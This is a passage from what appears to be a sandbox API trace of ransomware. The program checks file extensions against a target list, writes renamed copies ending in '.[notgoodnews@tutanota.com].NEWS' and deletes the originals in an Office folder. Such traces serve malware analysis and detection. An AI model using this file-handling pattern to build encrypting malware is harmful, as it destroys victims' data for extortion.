lpBuffer=0x3a27020*, nNumberOfBytesToWrite=0x13e, lpNumberOfBytesWritten=0x2fdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a27020*, lpNumberOfBytesWritten=0x2fdfc94*=0x13e, lpOverlapped=0x0) returned 1 [0072.665] SetEndOfFile (hFile=0x384) returned 1 [0072.665] CloseHandle (hObject=0x384) returned 1 [0072.666] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fdfec0 | out: lpNewFilePointer=0x0) returned 1 [0072.666] SetEndOfFile (hFile=0x354) returned 1 [0072.667] CloseHandle (hObject=0x354) returned 1 [0072.667] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00BA-0409-1000-0000000FF1CE.xml.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0072.667] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00BA-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00ba-0409-1000-0000000ff1ce.xml")) returned 1 [0072.667] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00BA-0409-1000-0000000FF1CE.xml") returned 104 [0072.667] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00BA-0409-1000-0000000FF1CE.xml") returned 104 [0072.667] lstrlenW (lpString=".doc") returned 4 [0072.667] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0072.667] lstrlenW (lpString=".docx") returned 5 [0072.667] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1 [0072.667] lstrlenW (lpString=".pdf") returned 4 [0072.667] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0072.667] lstrlenW (lpString=".xls") returned 4 [0072.667] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0072.668] lstrlenW (lpString=".xlsx") returned 5 [0072.668] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1 [0072.668] lstrlenW (lpString=".ppt") returned 4 [0072.668] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0072.668] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00BA-0409-1000-0000000FF1CE.xml") returned 104 [0072.668] lstrlenW (lpString=".zip") returned 4 [0072.668] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0072.668] lstrlenW (lpString=".rar") returned 4 [0072.668] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0072.668] lstrlenW (lpString=".bz2") returned 4 [0072.668] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0072.668] lstrlenW (lpString=".7z") returned 3 [0072.668] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0072.668] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00BA-0409-1000-0000000FF1CE.xml") returned 104 [0072.668] lstrlenW (lpString=".dbf") returned 4 [0072.668] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0072.668] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00BA-0409-1000-0000000FF1CE.xml") returned 104 [0072.668] lstrlenW (lpString=".1cd") returned 4 [0072.668] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0072.668] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00BA-0409-1000-0000000FF1CE.xml") returned 104 [0072.668] lstrlenW (lpString=".jpg") returned 4 [0072.668] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0072.668] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00BA-0409-1000-0000000FF1CE.xml") returned 104 [0072.668] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00BA-0409-1000-0000000FF1CE.xml") returned 104 [0072.668] lstrlenW (lpString=".doc") returned 4 [0072.668] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0072.668] lstrlenW (lpString=".docx") returned 5 [0072.668] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1 [0072.668] lstrlenW (lpString=".pdf") returned 4 [0072.668] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0072.668] lstrlenW (lpString=".xls") returned 4 [0072.668] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0072.668] lstrlenW (lpString=".xlsx") returned 5 [0072.668] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1 [0072.668] lstrlenW (lpString=".ppt") returned 4 [0072.668] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0072.669] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00BA-0409-1000-0000000FF1CE.xml") returned 104 [0072.669] lstrlenW (lpString=".zip") returned 4 [0072.669] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0072.669] lstrlenW (lpString=".rar") returned 4 [0072.669] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0072.669] lstrlenW (lpString=".bz2") returned 4 [0072.669] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0072.669] lstrlenW (lpString=".7z") returned 3 [0072.669] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0072.669] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00BA-0409-1000-0000000FF1CE.xml") returned 104 [0072.669] lstrlenW (lpString=".dbf") returned 4 [0072.669] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0072.669] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00BA-0409-1000-0000000FF1CE.xml") returned 104 [0072.669] lstrlenW (lpString=".1cd") returned 4 [0072.669] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0072.669] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00BA-0409-1000-0000000FF1CE.xml") returned 104 [0072.669] lstrlenW (lpString=".jpg") returned 4 [0072.669] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0072.669] lstrcmpiW (lpString1=".xml", lpString2=".NEWS") returned 1 [0072.669] lstrlenW (lpString="AppXManifest.90160000-00E2-0409-1000-0000000FF1CE.xml") returned 53 [0072.669] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E2-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00e2-0409-1000-0000000ff1ce.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354 [0072.669] GetFileSizeEx (in: hFile=0x354, lpFileSize=0x2fdff14 | out: lpFileSize=0x2fdff14*=1261) returned 1 [0072.669] CloseHandle (hObject=0x354) returned 1 [0072.670] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E2-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00e2-0409-1000-0000000ff1ce.xml")) returned 0x220 [0072.670] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E2-0409-1000-0000000FF1CE.xml.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00e2-0409-1000-0000000ff1ce.xml.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0072.670] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E2-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00e2-0409-1000-0000000ff1ce.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354 [0072.670] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fdfec0 | out: lpNewFilePointer=0x0) returned 1 [0072.670] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fdfec0 | out: lpNewFilePointer=0x0) returned 1 [0072.670] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E2-0409-1000-0000000FF1CE.xml.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00e2-0409-1000-0000000ff1ce.xml.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0072.670] GetLastError () returned 0x0 [0072.670] ReadFile (in: hFile=0x354, lpBuffer=0x3a27020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a27020*, lpNumberOfBytesRead=0x2fdfecc*=0x4ed, lpOverlapped=0x0) returned 1 [0072.672] WriteFile (in: hFile=0x384, lpBuffer=0x3a27020*, nNumberOfBytesToWrite=0x4f0, lpNumberOfBytesWritten=0x2fdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a27020*, lpNumberOfBytesWritten=0x2fdfc94*=0x4f0, lpOverlapped=0x0) returned 1 [0072.672] ReadFile (in: hFile=0x354, lpBuffer=0x3a27020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a27020*, lpNumberOfBytesRead=0x2fdfecc*=0x0, lpOverlapped=0x0) returned 1 [0072.673] WriteFile (in: hFile=0x384, lpBuffer=0x3a27020*, nNumberOfBytesToWrite=0x13e, lpNumberOfBytesWritten=0x2fdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a27020*, lpNumberOfBytesWritten=0x2fdfc94*=0x13e, lpOverlapped=0x0) returned 1 [0072.673] SetEndOfFile (hFile=0x384) returned 1 [0072.673] CloseHandle (hObject=0x384) returned 1 [0072.674] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fdfec0 | out: lpNewFilePointer=0x0) returned 1 [0072.674] SetEndOfFile (hFile=0x354) returned 1 [0072.675] CloseHandle (hObject=0x354) returned 1 [0072.675] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E2-0409-1000-0000000FF1CE.xml.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0072.675] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E2-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00e2-0409-1000-0000000ff1ce.xml")) returned 1 [0072.675] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E2-0409-1000-0000000FF1CE.xml") returned 104 [0072.675] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E2-0409-1000-0000000FF1CE.xml") returned 104 [0072.675] lstrlenW (lpString=".doc") returned 4 [0072.675] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0072.675] lstrlenW (lpString=".docx") returned 5 [0072.675] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1 [0072.675] lstrlenW (lpString=".pdf") returned 4 [0072.675] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0072.675] lstrlenW (lpString=".xls") returned 4 [0072.676] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0072.676] lstrlenW (lpString=".xlsx") returned 5 [0072.676] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1 [0072.676] lstrlenW (lpString=".ppt") returned 4 [0072.676] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0072.676] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E2-0409-1000-0000000FF1CE.xml") returned 104 [0072.676] lstrlenW (lpString=".zip") returned 4 [0072.676] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0072.676] lstrlenW (lpString=".rar") returned 4 [0072.676] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0072.676] lstrlenW (lpString=".bz2") returned 4 [0072.676] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0072.676] lstrlenW (lpString=".7z") returned 3 [0072.676] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0072.676] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E2-0409-1000-0000000FF1CE.xml") returned 104 [0072.676] lstrlenW (lpString=".dbf") returned 4 [0072.676] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0072.676] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E2-0409-1000-0000000FF1CE.xml") returned 104 [0072.676] lstrlenW (lpString=".1cd") returned 4 [0072.676] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0072.676] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E2-0409-1000-0000000FF1CE.xml") returned 104 [0072.676] lstrlenW (lpString=".jpg") returned 4 [0072.676] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0072.676] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E2-0409-1000-0000000FF1CE.xml") returned 104 [0072.676] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E2-0409-1000-0000000FF1CE.xml") returned 104 [0072.676] lstrlenW (lpString=".doc") returned 4 [0072.676] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0072.676] lstrlenW (lpString=".docx") returned 5 [0072.676] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1 [0072.676] lstrlenW (lpString=".pdf") returned 4 [0072.676] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0072.676] lstrlenW (lpString=".xls") returned 4 [0072.676] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0072.676] lstrlenW (lpString=".xlsx") returned 5 [0072.676] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1 [0072.677] lstrlenW (lpString=".ppt") returned 4 [0072.677] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0072.677] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E2-0409-1000-0000000FF1CE.xml") returned 104 [0072.677] lstrlenW (lpString=".zip") returned 4 [0072.677] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0072.677] lstrlenW (lpString=".rar") returned 4 [0072.677] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0072.677] lstrlenW (lpString=".bz2") returned 4 [0072.677] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0072.677] lstrlenW (lpString=".7z") returned 3 [0072.677] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0072.677] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E2-0409-1000-0000000FF1CE.xml") returned 104 [0072.677] lstrlenW (lpString=".dbf") returned 4 [0072.677] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0072.677] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E2-0409-1000-0000000FF1CE.xml") returned 104 [0072.677] lstrlenW (lpString=".1cd") returned 4 [0072.677] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0072.677] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E2-0409-1000-0000000FF1CE.xml") returned 104 [0072.677] lstrlenW (lpString=".jpg") returned 4 [0072.677] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0072.677] lstrcmpiW (lpString1=".xml", lpString2=".NEWS") returned 1 [0072.677] lstrlenW (lpString="AppXManifest.90160000-0115-0409-1000-0000000FF1CE.xml") returned 53 [0072.677] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0115-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0115-0409-1000-0000000ff1ce.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354 [0072.677] GetFileSizeEx (in: hFile=0x354, lpFileSize=0x2fdff14 | out: lpFileSize=0x2fdff14*=1261) returned 1 [0072.678] CloseHandle (hObject=0x354) returned 1 [0072.678] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0115-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0115-0409-1000-0000000ff1ce.xml")) returned 0x220 [0072.678] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0115-0409-1000-0000000FF1CE.xml.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0115-0409-1000-0000000ff1ce.xml.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0072.678] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0115-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0115-0409-1000-0000000ff1ce.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354 [0072.678] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fdfec0 | out: lpNewFilePointer=0x0) returned 1 [0072.678] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fdfec0 | out: lpNewFilePointer=0x0) returned 1 [0072.678] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0115-0409-1000-0000000FF1CE.xml.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0115-0409-1000-0000000ff1ce.xml.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0072.678] GetLastError () returned 0x0 [0072.678] ReadFile (in: hFile=0x354, lpBuffer=0x3a27020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a27020*, lpNumberOfBytesRead=0x2fdfecc*=0x4ed, lpOverlapped=0x0) returned 1 [0072.680] WriteFile (in: hFile=0x384, lpBuffer=0x3a27020*, nNumberOfBytesToWrite=0x4f0, lpNumberOfBytesWritten=0x2fdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a27020*, lpNumberOfBytesWritten=0x2fdfc94*=0x4f0, lpOverlapped=0x0) returned 1 [0072.681] ReadFile (in: hFile=0x354, lpBuffer=0x3a27020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a27020*, lpNumberOfBytesRead=0x2fdfecc*=0x0, lpOverlapped=0x0) returned 1 [0072.681] WriteFile (in: hFile=0x384, lpBuffer=0x3a27020*, nNumberOfBytesToWrite=0x13e, lpNumberOfBytesWritten=0x2fdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a27020*, lpNumberOfBytesWritten=0x2fdfc94*=0x13e, lpOverlapped=0x0) returned 1 [0072.682] SetEndOfFile (hFile=0x384) returned 1 [0072.682] CloseHandle (hObject=0x384) returned 1 [0072.683] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fdfec0 | out: lpNewFilePointer=0x0) returned 1 [0072.683] SetEndOfFile (hFile=0x354) returned 1 [0072.684] CloseHandle (hObject=0x354) returned 1 [0072.684] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0115-0409-1000-0000000FF1CE.xml.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0072.684] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0115-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0115-0409-1000-0000000ff1ce.xml")) returned 1 [0072.684] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0115-0409-1000-0000000FF1CE.xml") returned 104 [0072.684] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0115-0409-1000-0000000FF1CE.xml") returned 104 [0072.684] lstrlenW (lpString=".doc") returned 4 [0072.684] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0072.684] lstrlenW (lpString=".docx") returned 5 [0072.684] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1 [0072.685] lstrlenW (lpString=".pdf") returned 4 [0072.685] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0072.685] lstrlenW (lpString=".xls") returned 4 [0072.685] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0072.685] lstrlenW (lpString=".xlsx") returned 5 [0072.685] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1 [0072.685] lstrlenW (lpString=".ppt") returned 4 [0072.685] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0072.685] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0115-0409-1000-0000000FF1CE.xml") returned 104 [0072.685] lstrlenW (lpString=".zip") returned 4 [0072.685] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0072.685] lstrlenW (lpString=".rar") returned 4 [0072.685] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0072.685] lstrlenW (lpString=".bz2") returned 4 [0072.685] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0072.685] lstrlenW (lpString=".7z") returned 3 [0072.685] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0072.685] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0115-0409-1000-0000000FF1CE.xml") returned 104 [0072.685] lstrlenW (lpString=".dbf") returned 4 [0072.685] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0072.685] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0115-0409-1000-0000000FF1CE.xml") returned 104 [0072.685] lstrlenW (lpString=".1cd") returned 4 [0072.685] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0072.685] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0115-0409-1000-0000000FF1CE.xml") returned 104 [0072.685] lstrlenW (lpString=".jpg") returned 4 [0072.685] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0072.685] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0115-0409-1000-0000000FF1CE.xml") returned 104 [0072.685] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0115-0409-1000-0000000FF1CE.xml") returned 104 [0072.685] lstrlenW (lpString=".doc") returned 4 [0072.685] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0072.685] lstrlenW (lpString=".docx") returned 5 [0072.685] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1 [0072.685] lstrlenW (lpString=".pdf") returned 4 [0072.685] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0072.686] lstrlenW (lpString=".xls") returned 4 [0072.686] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0072.686] lstrlenW (lpString=".xlsx") returned 5 [0072.686] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1 [0072.686] lstrlenW (lpString=".ppt") returned 4 [0072.686] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0072.686] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0115-0409-1000-0000000FF1CE.xml") returned 104 [0072.686] lstrlenW (lpString=".zip") returned 4 [0072.686] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0072.686] lstrlenW (lpString=".rar") returned 4 [0072.686] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0072.686] lstrlenW (lpString=".bz2") returned 4 [0072.686] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0072.686] lstrlenW (lpString=".7z") returned 3 [0072.686] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0072.686] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0115-0409-1000-0000000FF1CE.xml") returned 104 [0072.686] lstrlenW (lpString=".dbf") returned 4 [0072.686] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0072.686] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0115-0409-1000-0000000FF1CE.xml") returned 104 [0072.686] lstrlenW (lpString=".1cd") returned 4 [0072.686] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0072.686] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0115-0409-1000-0000000FF1CE.xml") returned 104 [0072.686] lstrlenW (lpString=".jpg") returned 4 [0072.686] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0072.686] lstrcmpiW (lpString1=".xml", lpString2=".NEWS") returned 1 [0072.686] lstrlenW (lpString="AppXManifest.90160000-0117-0409-1000-0000000FF1CE.xml") returned 53 [0072.686] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0117-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0117-0409-1000-0000000ff1ce.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354 [0072.687] GetFileSizeEx (in: hFile=0x354, lpFileSize=0x2fdff14 | out: lpFileSize=0x2fdff14*=1261) returned 1 [0072.687] CloseHandle (hObject=0x354) returned 1 [0072.687] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0117-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0117-0409-1000-0000000ff1ce.xml")) returned 0x220 [0072.687] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0117-0409-1000-0000000FF1CE.xml.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0117-0409-1000-0000000ff1ce.xml.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0072.687] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0117-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0117-0409-1000-0000000ff1ce.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354 [0072.688] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fdfec0 | out: lpNewFilePointer=0x0) returned 1 [0072.688] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fdfec0 | out: 